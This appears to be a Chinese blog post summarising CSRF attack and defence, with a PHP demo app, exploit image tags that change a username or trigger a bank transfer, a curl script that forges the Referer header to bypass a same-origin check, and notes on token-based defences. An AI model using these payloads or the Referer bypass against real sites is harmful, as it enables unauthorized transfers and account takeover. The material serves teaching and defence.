zoukankan      html  css  js  c++  java
  • 应用安全-Web安全-CSRF攻防整理

    原理 

    登录受信任网站A,并在本地生成Cookie。
    在不登出A的情况下,访问危险网站B。

    1 #csrfdemo.php
    2 <?php
    3     $data = json_decode(file_get_contents('data.json'), true);
    4 
    5     if($data['username']) { setcookie('uid', $data['id'], 0); echo "登录成功, {$data['username']}<br>"; } 
    6  ?>
    7  <a href = "Update.php?uid=101&username=json"> 更新用户名 </a>

    #CSRFUpdate.php //exp <?php echo 'Change Username'; ?> <img src="../Update.php?uid=101&username=jsonp">

      

    Update.php
    <?php
    
    	$str = file_get_contents('data.json');
    	$data = json_decode($str, true);
    
    	empty($_COOKIE['uid']) || empty($_GET['uid']) || $_GET['uid'] != $data['id'] ? die('非法用户') : '';
    	$data['username'] = empty($_GET['username']) ? die('用户名不能为空') : $_GET['username'];
    	$data['username'] = $_GET['username'];
    	if(file_put_contents('data.json', json_encode($data))) {
    		echo "用户名已更改为{$data['username']}<br>";
    	} else {
    		die('更新失败');
    	}
    
      ?> 
    #data.json
    {"id":"101","username":"jsonp"}
    

    Login CSRF 

    登录界面CSRF - 无 Token(有Reffer和Session构造失败)

    验证

    Burpsuite生成POC

    利用

    伪造发送邮件/发消息/盗取账号/购买商品/虚拟货币转账/修改用户资料/传播恶意文件

    转账

    GET请求来完成转账操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000
    网站B,它里面有一段HTML的代码如下:
    <img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
    -》受害者点击
    View Code
    #新消息提醒的绑定邮箱CSRF未做过滤或者过滤不严,email验证链接存在逻辑问题。
    结合这两点,可导致用户的私信、新评论、系统消息提醒等发送至攻击者邮箱

    CSRF - 上传文件 

    防御

    静态语言

    使用Hash加密cookie中csrf_token值

    动态语言

    使用Synchronizer Tokens
    在表单里隐藏一个随机变化的 csrf_token csrf_token 提交到后台进行验证,如果验证通过则可以继续执行操作

    Referer字段(同源)

     1 #Update.php
     2 <?php
     3     if(!empty($_SERVER['HTTP_REFERER'])) {
     4         if(parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST) != 'csrfdemo.php') {
     5             echo "非法请求";
     6             exit();
     7         }
     8     }
     9     $str = file_get_contents('data.json');
    10     $data = json_decode($str, true);
    11 
    12     empty($_COOKIE['uid']) || empty($_GET['uid']) || $_GET['uid'] != $data['id'] ? die('非法用户') : '';
    13     $data['username'] = empty($_GET['username']) ? die('用户名不能为空') : $_GET['username'];
    14     $data['username'] = $_GET['username'];
    15     if(file_put_contents('data.json', json_encode($data))) {
    16         echo "用户名已更改为{$data['username']}<br>";
    17     } else {
    18         die('更新失败');
    19     }
    20 
    21   ?>

    Referer字段(同源)-绕过

    //curl构造Referer头
    <?php
    	function curl_post($url){
    		$refer = 'csrfdemo.php';
    		$ch = curl_init();
    		curl_setopt($ch, CURLOPT_URL, $url);
    		curl_setopt($ch, CURLOPT_REFERER, $refer);
    		curl_setopt($ch, CURLOPT_COOKIE, 'uid=101');
    		$output = curl_exec($ch);
    		curl_close($ch);
    		return $output;
    	}
    	// echo 'Change Username';
    	var_dump(curl_post("../Update.php?uid=101&username=jsonp445"));
    ?>
    <img src="../Update.php?uid=101&username=jsonp445">
    

    通过csrf_token csrf_token 进行验证(session+token)

    绕过:session劫持+token劫持

     使用CORS

  • 相关阅读:
    tips 前端 阻止 浏览器缓存静态资源
    tips 前端 各个设备的页面尺寸的media query 与页面高度的经验总结
    算法-第四版-练习1.3.28解答
    事件循环(event loop) && 任务队列 (task queue) && $nextTick
    element -ui之<el-table>
    node.js(三 --- stream 管道流 模块化 函数)
    node.js(二 --- events 、buffer、)
    ajax请求的所有状态码详解
    element-ui中el-tree的父元素设置好宽度后不能被子内容撑开的问题
    java获取前端请求字段的方法
  • 原文地址:https://www.cnblogs.com/AtesetEnginner/p/10966492.html
Copyright © 2011-2022 走看看